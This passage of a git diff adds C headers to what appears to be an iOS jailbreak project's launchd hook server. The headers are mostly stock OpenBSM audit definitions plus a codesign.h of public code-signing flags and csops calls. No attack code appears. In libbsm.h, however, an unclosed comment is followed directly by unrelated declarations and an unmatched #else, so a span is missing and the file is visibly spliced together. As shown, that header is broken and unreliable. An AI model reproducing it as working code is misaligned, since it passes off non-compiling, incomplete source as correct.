a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_filter.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_filter.h new file mode 100644 index 00000000..55a761a6 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_filter.h @@ -0,0 +1,80 @@ +/*- + * Copyright (c) 2006 Robert N. M. Watson + * All rights reserved. + * + * This software was developed by Robert Watson for the TrustedBSD Project. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $P4: //depot/projects/trustedbsd/openbsm/bsm/audit_filter.h#4 $ + */ + +#ifndef _BSM_AUDIT_FILTER_H_ +#define _BSM_AUDIT_FILTER_H_ + +#include + +/* + * Module interface for audit filter modules. + * + * audit_filter_attach_t - filter module is being attached with arguments + * audit_filter_reinit_t - arguments to module have changed + * audit_filter_record_t - present parsed record to filter module, with + * receipt time + * audit_filter_rawrecord_t - present BSM format record to filter module, + * with receipt time + * audit_filter_destach_t - filter module is being detached + * + * There may be many instances of the same filter, identified by the instance + * void pointer maintained by the filter instance. + */ +typedef int (*audit_filter_attach_t)(void *instance, int argc, char *argv[]); +typedef int (*audit_filter_reinit_t)(void *instance, int argc, char *argv[]); +typedef void (*audit_filter_record_t)(void *instance, struct timespec *ts, + int token_count, const tokenstr_t tok[]); +typedef void (*audit_filter_rawrecord_t)(void *instance, struct timespec *ts, + void *data, u_int len); +typedef void (*audit_filter_detach_t)(void *instance); + + +/* + * Values to be returned by audit_filter_init_t. + */ +#define AUDIT_FILTER_SUCCESS (0) +#define AUDIT_FILTER_FAILURE (-1) + +/* + * Standard name for filter module initialization functions, which will be + * found using dlsym(). + */ +#define AUDIT_FILTER_ATTACH audit_filter_attach +#define AUDIT_FILTER_REINIT audit_filter_reinit +#define AUDIT_FILTER_RECORD audit_filter_record +#define AUDIT_FILTER_RAWRECORD audit_filter_rawrecord +#define AUDIT_FILTER_DETACH audit_filter_detach +#define AUDIT_FILTER_ATTACH_STRING "audit_filter_attach" +#define AUDIT_FILTER_REINIT_STRING "audit_filter_reinit" +#define AUDIT_FILTER_RECORD_STRING "audit_filter_record" +#define AUDIT_FILTER_RAWRECORD_STRING "audit_filter_rawrecord" +#define AUDIT_FILTER_DETACH_STRING "audit_filter_detach" + +#endif /* !_BSM_AUDIT_FILTER_H_ */ diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_session.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_session.h new file mode 100644 index 00000000..09f51aee --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_session.h @@ -0,0 +1,162 @@ +/*- + * Copyright (c) 2009 Apple Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of Apple Inc. ("Apple") nor the names of + * its contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * $P4: //depot/projects/trustedbsd/openbsm/bsm/auditd_lib.h#4 $ + */ + +#ifndef _BSM_AUDIT_SESSION_H_ +#define _BSM_AUDIT_SESSION_H_ + +#include /* Required for audit.h. */ +#include /* Required for FILE. */ + +#include +#include /* Required for AUE_SESSION_* event def's. */ + +#include + +/* Defined audit session flags for the ai_flags member of auditinfo_addr. + * These are opaque to XNU itself, although some may be of interest to certain + * kernel extensions, notably AU_SESSION_FLAG_HAS_CONSOLE_ACCESS. + */ +enum audit_session_flags { + /* The initial session created by PID 1. */ + AU_SESSION_FLAG_IS_INITIAL = 0x0001, + + /* The graphics subsystem (CoreGraphics, etc.) is available. */ + AU_SESSION_FLAG_HAS_GRAPHIC_ACCESS = 0x0010, + + /* /dev/tty is available. */ + AU_SESSION_FLAG_HAS_TTY = 0x0020, + + /* The session was created for a remote connection. */ + AU_SESSION_FLAG_IS_REMOTE = 0x1000, + + /* The console and associated devices are available. */ + AU_SESSION_FLAG_HAS_CONSOLE_ACCESS = 0x2000, + + /* An active, authenticated user is associated with the session. */ + AU_SESSION_FLAG_HAS_AUTHENTICATED = 0x4000, +}; + +/* + * Audit session device. + */ + +#define AUDIT_SDEV_PATH "/dev/auditsessions" + +/* + * au_sdev_open() flags + */ +enum au_sdev_open_flags { + /* Set audit session device to not to block on reads. */ + AU_SDEVF_NONBLOCK = 0x00000001, + + + /* Allow process to monitor all session. (Requires privilege.) */ + AU_SDEVF_ALLSESSIONS = 0x00010000, +}; + +__BEGIN_DECLS +/* + * Audit session device handle. + */ +typedef struct au_sdev_handle { + FILE *ash_fp; + u_char *ash_buf; + int ash_reclen; + int ash_bytesread; +} au_sdev_handle_t; + +/* + * au_sdev_open() + * + * @summary - Open the audit session pseudo device. + * + * @param flags - Flags that change the behavior of the device. The flags + * specified are formed by or'ing the following flag: AU_SDEVF_NONBLOCK for + * non-blocking I/O and AU_SDEF_ALLSESSIONS for monitoring all the sessions + * and not just the session of the current process. + * + * @return Upon success returns the audit session device handle. Otherwise, + * NULL is returned and the errno is set to indicate the error. + */ +au_sdev_handle_t *au_sdev_open(int flags) + API_AVAILABLE(macos(10.8)) API_UNAVAILABLE(ios, watchos, tvos); + +/* + * au_sdev_close() + * + * @summary - Close the audit session pseudo device. + * + * @param ash - Audit session device handle. + * + * @return Upon successful completion 0 is returned. Otherwise, errno is set + * to indicate the error. + */ +int au_sdev_close(au_sdev_handle_t *ash) + API_AVAILABLE(macos(10.8)) API_UNAVAILABLE(ios, watchos, tvos); + +/* + * au_sdev_fd() + * + * @summary - Get the file descriptor for the audit session device. + * + * @param ash - Audit session device handle. + * + * @return File descriptor of the audit session device. + */ +int au_sdev_fd(au_sdev_handle_t *ash) + API_AVAILABLE(macos(10.8)) API_UNAVAILABLE(ios, watchos, tvos); + +/* + * au_sdev_read_aia() + * + * @summary - Read a session event and an auditinfo_addr record from kernel. + * + * @param ash - Audit session device handle. + * + * @param event - A pointer to an integer that will contain the event type: + * AUE_SESSION_START (start of a new session), AUE_SESSION_UPDATE (the + * session information has been changed), AUE_SESSION_END (all the processes in + * the session have exited), and AUE_SESSION_CLOSE (the session record has been + * removed from the kernel). + * + * @param aia_p - A pointer to an auditinfo_addr structure that will contain the + * audit session information on a successful return. The audit masks fields + * (ai_mask), however, does not currently contain correct informaiton. + * + * @return Upon sucessful completetion 0 is returned and the event and aia_p + * parameters will be populated. Otherwise, errno is set to indicate the error. + */ +int au_sdev_read_aia(au_sdev_handle_t *ash, int *event, auditinfo_addr_t *aia_p) + API_AVAILABLE(macos(10.8)) API_UNAVAILABLE(ios, watchos, tvos); + +__END_DECLS + +#endif /* !_BSM_AUDIT_SESSION_H_ */ diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_uevents.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_uevents.h new file mode 100644 index 00000000..79f1b761 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_uevents.h @@ -0,0 +1,144 @@ +/*- + * Copyright (c) 2004-2008 Apple Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of Apple Inc. ("Apple") nor the names of + * its contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * $P4: //depot/projects/trustedbsd/openbsm/bsm/audit_uevents.h#11 $ + */ + +#ifndef _BSM_AUDIT_UEVENTS_H_ +#define _BSM_AUDIT_UEVENTS_H_ + +/* + * Solaris userspace events. + */ +#define AUE_at_create 6144 +#define AUE_at_delete 6145 +#define AUE_at_perm 6146 +#define AUE_cron_invoke 6147 +#define AUE_crontab_create 6148 +#define AUE_crontab_delete 6149 +#define AUE_crontab_perm 6150 +#define AUE_inetd_connect 6151 +#define AUE_login 6152 +#define AUE_logout 6153 +#define AUE_telnet 6154 +#define AUE_rlogin 6155 +#define AUE_mountd_mount 6156 +#define AUE_mountd_umount 6157 +#define AUE_rshd 6158 +#define AUE_su 6159 +#define AUE_halt 6160 +#define AUE_reboot 6161 +#define AUE_rexecd 6162 +#define AUE_passwd 6163 +#define AUE_rexd 6164 +#define AUE_ftpd 6165 +#define AUE_init 6166 +#define AUE_uadmin 6167 +#define AUE_shutdown 6168 +#define AUE_poweroff 6169 +#define AUE_crontab_mod 6170 +#define AUE_ftpd_logout 6171 +#define AUE_ssh 6172 +#define AUE_role_login 6173 +#define AUE_prof_cmd 6180 +#define AUE_filesystem_add 6181 +#define AUE_filesystem_delete 6182 +#define AUE_filesystem_modify 6183 +#define AUE_allocate_succ 6200 +#define AUE_allocate_fail 6201 +#define AUE_deallocate_succ 6202 +#define AUE_deallocate_fail 6203 +#define AUE_listdevice_succ 6205 +#define AUE_listdevice_fail 6206 +#define AUE_create_user 6207 +#define AUE_modify_user 6208 +#define AUE_delete_user 6209 +#define AUE_disable_user 6210 +#define AUE_enable_user 6211 +#define AUE_newgrp_login 6212 +#define AUE_admin_authentication 6213 +#define AUE_kadmind_auth 6214 +#define AUE_kadmind_unauth 6215 +#define AUE_krb5kdc_as_req 6216 +#define AUE_krb5kdc_tgs_req 6217 +#define AUE_krb5kdc_tgs_req_2ndtktmm 6218 +#define AUE_krb5kdc_tgs_req_alt_tgt 6219 + +/* + * Historic Darwin use of the low event numbering space, which collided with + * the Solaris event space. Now obsoleted and new, higher, event numbers + * assigned to make it easier to interpret Solaris events using the OpenBSM + * tools. + */ +#define AUE_DARWIN_audit_startup 6171 +#define AUE_DARWIN_audit_shutdown 6172 +#define AUE_DARWIN_sudo 6300 +#define AUE_DARWIN_modify_password 6501 +#define AUE_DARWIN_create_group 6511 +#define AUE_DARWIN_delete_group 6512 +#define AUE_DARWIN_modify_group 6513 +#define AUE_DARWIN_add_to_group 6514 +#define AUE_DARWIN_remove_from_group 6515 +#define AUE_DARWIN_revoke_obj 6521 +#define AUE_DARWIN_lw_login 6600 +#define AUE_DARWIN_lw_logout 6601 +#define AUE_DARWIN_auth_user 7000 +#define AUE_DARWIN_ssconn 7001 +#define AUE_DARWIN_ssauthorize 7002 +#define AUE_DARWIN_ssauthint 7003 + +/* + * Historic/third-party appliation allocations of event idenfiers. + */ +#define AUE_openssh 32800 + +/* + * OpenBSM-managed application event space. + */ +#define AUE_audit_startup 45000 /* Darwin-specific. */ +#define AUE_audit_shutdown 45001 /* Darwin-specific. */ +#define AUE_modify_password 45014 /* Darwin-specific. */ +#define AUE_create_group 45015 /* Darwin-specific. */ +#define AUE_delete_group 45016 /* Darwin-specific. */ +#define AUE_modify_group 45017 /* Darwin-specific. */ +#define AUE_add_to_group 45018 /* Darwin-specific. */ +#define AUE_remove_from_group 45019 /* Darwin-specific. */ +#define AUE_revoke_obj 45020 /* Darwin-specific. */ +#define AUE_lw_login 45021 /* Darwin-specific. */ +#define AUE_lw_logout 45022 /* Darwin-specific. */ +#define AUE_auth_user 45023 /* Darwin-specific. */ +#define AUE_ssconn 45024 /* Darwin-specific. */ +#define AUE_ssauthorize 45025 /* Darwin-specific. */ +#define AUE_ssauthint 45026 /* Darwin-specific. */ +#define AUE_calife 45027 /* OpenBSM-allocated. */ +#define AUE_sudo 45028 /* OpenBSM-allocated. */ +#define AUE_audit_recovery 45029 /* OpenBSM-allocated. */ +#define AUE_ssauthmech 45030 /* Darwin-specific. */ +#define AUE_sec_assessment 45031 /* Darwin-specific. */ + +#endif /* !_BSM_AUDIT_UEVENTS_H_ */ diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/libbsm.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/libbsm.h new file mode 100644 index 00000000..2bac16e9 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/libbsm.h @@ -0,0 +1,378 @@ +/*- + * Copyright (c) 2005-2009 Apple Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of Apple Inc. ("Apple") nor the names of + * its contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $P4: //depot/projects/trustedbsd/openbsm/sys/bsm/audit.h#10 $ + */ + +#ifndef _BSM_AUDIT_H +#define _BSM_AUDIT_H + +#include +#include + +#define AUDIT_RECORD_MAGIC 0x828a0f1b +#define MAX_AUDIT_RECORDS 20 +#define MAXAUDITDATA (0x8000 - 1) +#define MAX_AUDIT_RECORD_SIZE MAXAUDITDATA +#define MIN_AUDIT_FILE_SIZE (512 * 1024) + +/* + * Minimum noumber of free blocks on the filesystem containing the audit + * log necessary to avoid a hard log rotation. DO NOT SET THIS VALUE TO 0 + * as the kernel does an unsigned compare, plus we want to leave a few blocks + * free so userspace can terminate the log, etc. + */ +#define AUDIT_HARD_LIMIT_FREE_BLOCKS 4 + +/* + * Triggers for the audit daemon. + */ +#define AUDIT_TRIGGER_MIN 1 +#define AUDIT_TRIGGER_LOW_SPACE 1 /* Below low watermark. */ +#define AUDIT_TRIGGER_ROTATE_KERNEL 2 /* Kernel requests rotate. */ +#define AUDIT_TRIGGER_READ_FILE 3 /* Re-read config file. */ +#define AUDIT_TRIGGER_CLOSE_AND_DIE 4 /* Terminate audit. */ +#define AUDIT_TRIGGER_NO_SPACE 5 /* Below min free space. */ +#define AUDIT_TRIGGER_ROTATE_USER 6 /* User requests rotate. */ +#define AUDIT_TRIGGER_INITIALIZE 7 /* User initialize of auditd. */ +#define AUDIT_TRIGGER_EXPIRE_TRAILS 8 /* User expiration of trails. */ +#define AUDIT_TRIGGER_MAX 8 + +/* + * The special device filename (FreeBSD). + */ +#define AUDITDEV_FILENAME "audit" +#define AUDIT_TRIGGER_FILE ("/dev/" AUDITDEV_FILENAME) + +/* + * Pre-defined audit IDs + */ +#define AU_DEFAUDITID (uid_t)(-1) +#define AU_DEFAUDITSID 0 +#define AU_ASSIGN_ASID -1 + +/* + * IPC types. + */ +#define AT_IPC_MSG ((unsigned char)1) /* Message IPC id. */ +#define AT_IPC_SEM ((unsigned char)2) /* Semaphore IPC id. */ +#define AT_IPC_SHM ((unsigned char)3) /* Shared mem IPC id. */ + +/* + * Audit conditions. + */ +#define AUC_UNSET 0 +#define AUC_AUDITING 1 +#define AUC_NOAUDIT 2 +#define AUC_DISABLED -1 + +/* + * auditon(2) commands. + */ +#define A_OLDGETPOLICY 2 +#define A_OLDSETPOLICY 3 +#define A_GETKMASK 4 +#define A_SETKMASK 5 +#define A_OLDGETQCTRL 6 +#define A_OLDSETQCTRL 7 +#define A_GETCWD 8 +#define A_GETCAR 9 +#define A_GETSTAT 12 +#define A_SETSTAT 13 +#define A_SETUMASK 14 +#define A_SETSMASK 15 +#define A_OLDGETCOND 20 +#define A_OLDSETCOND 21 +#define A_GETCLASS 22 +#define A_SETCLASS 23 +#define A_GETPINFO 24 +#define A_SETPMASK 25 +#define A_SETFSIZE 26 +#define A_GETFSIZE 27 +#define A_GETPINFO_ADDR 28 +#define A_GETKAUDIT 29 +#define A_SETKAUDIT 30 +#define A_SENDTRIGGER 31 +#define A_GETSINFO_ADDR 32 +#define A_GETPOLICY 33 +#define A_SETPOLICY 34 +#define A_GETQCTRL 35 +#define A_SETQCTRL 36 +#define A_GETCOND 37 +#define A_SETCOND 38 +#define A_GETSFLAGS 39 +#define A_SETSFLAGS 40 +#define A_GETCTLMODE 41 +#define A_SETCTLMODE 42 +#define A_GETEXPAFTER 43 +#define A_SETEXPAFTER 44 + +/* + * Audit policy controls. + */ +#define AUDIT_CNT 0x0001 +#define AUDIT_AHLT 0x0002 +#define AUDIT_ARGV 0x0004 +#define AUDIT_ARGE 0x0008 +#define AUDIT_SEQ 0x0010 +#define AUDIT_WINDATA 0x0020 +#define AUDIT_USER 0x0040 +#define AUDIT_GROUP 0x0080 +#define AUDIT_TRAIL 0x0100 +#define AUDIT_PATH 0x0200 +#define AUDIT_SCNT 0x0400 +#define AUDIT_PUBLIC 0x0800 +#define AUDIT_ZONENAME 0x1000 +#define AUDIT_PERZONE 0x2000 + +/* + * Default audit queue control parameters. + */ +#define AQ_HIWATER 100 +#define AQ_MAXHIGH 10000 +#define AQ_LOWATER 10 +#define AQ_BUFSZ MAXAUDITDATA +#define AQ_MAXBUFSZ 1048576 + +/* + * Default minimum percentage free space on file system. + */ +#define AU_FS_MINFREE 20 + +/* + * Type definitions used indicating the length of variable length addresses + * in tokens containing addresses, such as header fields. + */ +#define AU_IPv4 4 +#define AU_IPv6 16 + +/* + * Reserved audit class mask indicating which classes are unable to have + * events added or removed by unentitled processes. + */ +#define AU_CLASS_MASK_RESERVED 0x10000000 + +/* + * Audit control modes + */ +#define AUDIT_CTLMODE_NORMAL ((unsigned char)1) +#define AUDIT_CTLMODE_EXTERNAL ((unsigned char)2) + +/* + * Audit file expire_after op modes + */ +#define AUDIT_EXPIRE_OP_AND ((unsigned char)0) +#define AUDIT_EXPIRE_OP_OR ((unsigned char)1) + +__BEGIN_DECLS + +typedef uid_t au_id_t; +typedef pid_t au_asid_t; +typedef u_int16_t au_event_t; +typedef u_int16_t au_emod_t; +typedef u_int32_t au_class_t; +typedef u_int64_t au_asflgs_t __attribute__ ((aligned(8))); +typedef unsigned char au_ctlmode_t; + +struct au_tid { + dev_t port; + u_int32_t machine; +}; +typedef struct au_tid au_tid_t; + +struct au_tid_addr { + dev_t at_port; + u_int32_t at_type; + u_int32_t at_addr[4]; +}; +typedef struct au_tid_addr au_tid_addr_t; + +struct au_mask { + unsigned int am_success; /* Success bits. */ + unsigned int am_failure; /* Failure bits. */ +}; +typedef struct au_mask au_mask_t; + +struct auditinfo { + au_id_t ai_auid; /* Audit user ID. */ + au_mask_t ai_mask; /* Audit masks. */ + au_tid_t ai_termid; /* Terminal ID. */ + au_asid_t ai_asid; /* Audit session ID. */ +}; +typedef struct auditinfo auditinfo_t; + +struct auditinfo_addr { + au_id_t ai_auid; /* Audit user ID. */ + au_mask_t ai_mask; /* Audit masks. */ + au_tid_addr_t ai_termid; /* Terminal ID. */ + au_asid_t ai_asid; /* Audit session ID. */ + au_asflgs_t ai_flags; /* Audit session flags. */ +}; +typedef struct auditinfo_addr auditinfo_addr_t; + +struct auditpinfo { + pid_t ap_pid; /* ID of target process. */ + au_id_t ap_auid; /* Audit user ID. */ + au_mask_t ap_mask; /* Audit masks. */ + au_tid_t ap_termid; /* Terminal ID. */ + au_asid_t ap_asid; /* Audit session ID. */ +}; +typedef struct auditpinfo auditpinfo_t; + +struct auditpinfo_addr { + pid_t ap_pid; /* ID of target process. */ + au_id_t ap_auid; /* Audit user ID. */ + au_mask_t ap_mask; /* Audit masks. */ + au_tid_addr_t ap_termid; /* Terminal ID. */ + au_asid_t ap_asid; /* Audit session ID. */ + au_asflgs_t ap_flags; /* Audit session flags. */ +}; +typedef struct auditpinfo_addr auditpinfo_addr_t; + +struct au_session { + auditinfo_addr_t *as_aia_p; /* Ptr to full audit info. */ + au_mask_t as_mask; /* Process Audit Masks. */ +}; +typedef struct au_session au_session_t; + +struct au_expire_after { + time_t age; /* Age after which trail files should be expired */ + size_t size; /* Aggregate trail size when files should be expired */ + unsigned char op_type; /* Operator used with the above values to determine when files should be expired */ +}; +typedef struct au_expire_after au_expire_after_t; + +/* + * Contents of token_t are opaque outside of libbsm. + */ +typedef struct au_token token_t; + +/* + * Kernel audit queue control parameters: + * Default: Maximum: + * aq_hiwater: AQ_HIWATER (100) AQ_MAXHIGH (10000) + * aq_lowater: AQ_LOWATER (10) + +/* + * getaudit()/setaudit() are deprecated and have been replaced with + * wrappers to the getaudit_addr()/setaudit_addr() syscalls above. + */ + +int getaudit(struct auditinfo *) +__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0, __MAC_10_8, + __IPHONE_2_0, __IPHONE_6_0); +int setaudit(const struct auditinfo *) +__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0, __MAC_10_8, + __IPHONE_2_0, __IPHONE_6_0); +#else + +int getaudit(struct auditinfo *); +int setaudit(const struct auditinfo *); +#endif /* !__APPLE__ */ + +#ifdef __APPLE_API_PRIVATE +#include +mach_port_name_t audit_session_self(void); +au_asid_t audit_session_join(mach_port_name_t port); +int audit_session_port(au_asid_t asid, mach_port_name_t *portname); +#endif /* __APPLE_API_PRIVATE */ + +#endif /* defined(_KERNEL) || defined(KERNEL) */ + +__END_DECLS + +#endif /* !_BSM_AUDIT_H */ diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/codesign.h b/RootHelperSample/launchdshim/launchdhook/jbserver/codesign.h new file mode 100644 index 00000000..03ceb925 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/codesign.h @@ -0,0 +1,64 @@ +#ifndef LJB_CODESIGN_H +#define LJB_CODESIGN_H + +#include + +/* code signing attributes of a process */ +#define CS_VALID 0x00000001 /* dynamically valid */ +#define CS_ADHOC 0x00000002 /* ad hoc signed */ +#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */ +#define CS_INSTALLER 0x00000008 /* has installer entitlement */ + +#define CS_FORCED_LV 0x00000010 /* Library Validation required by Hardened System Policy */ +#define CS_INVALID_ALLOWED 0x00000020 /* (macOS Only) Page invalidation allowed by task port policy */ + +#define CS_HARD 0x00000100 /* don't load invalid pages */ +#define CS_KILL 0x00000200 /* kill process if it becomes invalid */ +#define CS_CHECK_EXPIRATION 0x00000400 /* force expiration checking */ +#define CS_RESTRICT 0x00000800 /* tell dyld to treat restricted */ + +#define CS_ENFORCEMENT 0x00001000 /* require enforcement */ +#define CS_REQUIRE_LV 0x00002000 /* require library validation */ +#define CS_ENTITLEMENTS_VALIDATED 0x00004000 /* code signature permits restricted entitlements */ +#define CS_NVRAM_UNRESTRICTED 0x00008000 /* has com.apple.rootless.restricted-nvram-variables.heritable entitlement */ + +#define CS_RUNTIME 0x00010000 /* Apply hardened runtime policies */ +#define CS_LINKER_SIGNED 0x00020000 /* Automatically signed by the linker */ + +#define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | \ + CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED) + +#define CS_EXEC_SET_HARD 0x00100000 /* set CS_HARD on any exec'ed process */ +#define CS_EXEC_SET_KILL 0x00200000 /* set CS_KILL on any exec'ed process */ +#define CS_EXEC_SET_ENFORCEMENT 0x00400000 /* set CS_ENFORCEMENT on any exec'ed process */ +#define CS_EXEC_INHERIT_SIP 0x00800000 /* set CS_INSTALLER on any exec'ed process */ + +#define CS_KILLED 0x01000000 /* was killed by kernel for invalidity */ +#define CS_NO_UNTRUSTED_HELPERS 0x02000000 /* kernel did not load a non-platform-binary dyld or Rosetta runtime */ +#define CS_DYLD_PLATFORM CS_NO_UNTRUSTED_HELPERS /* old name */ +#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */ +#define CS_PLATFORM_PATH 0x08000000 /* platform binary by the fact of path (osx only) */ + +#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ +#define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ +#define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */ +#define CS_DATAVAULT_CONTROLLER 0x80000000 /* has Data Vault controller entitlement */ + +#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED) + +/* csops operations */ +#define CS_OPS_STATUS 0 /* return status */ +#define CS_OPS_MARKINVALID 1 /* invalidate process */ +#define CS_OPS_MARKHARD 2 /* set HARD flag */ +#define CS_OPS_MARKKILL 3 /* set KILL flag (sticky) */ +#define CS_OPS_PIDPATH 4 /* get executable's pathname */ +#define CS_OPS_CDHASH 5 /* get code directory hash */ +#define CS_OPS_PIDOFFSET 6 /* get offset of active Mach-o slice */ +#define CS_OPS_ENTITLEMENTS_BLOB 7 /* get entitlements blob */ +#define CS_OPS_MARKRESTRICT 8 /* set RESTRICT flag (sticky) */ +#define CS_OPS_IDENTITY 11 /* get codesign identity */ + +int csops(pid_t pid, unsigned int ops, void * useraddr, size_t usersize); +int csops_audittoken(pid_t pid, unsigned int ops, void * useraddr, size_t usersize, audit_token_t * token); + +#endif \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.h b/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.h new file mode 100644 index 00000000..54d3e5d9 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.h @@ -0,0 +1,14 @@ +// +// Created by Ylarod on 2024/3/15. +// + +#ifndef DOPAMINE_EXEC_PATCH_H +#define 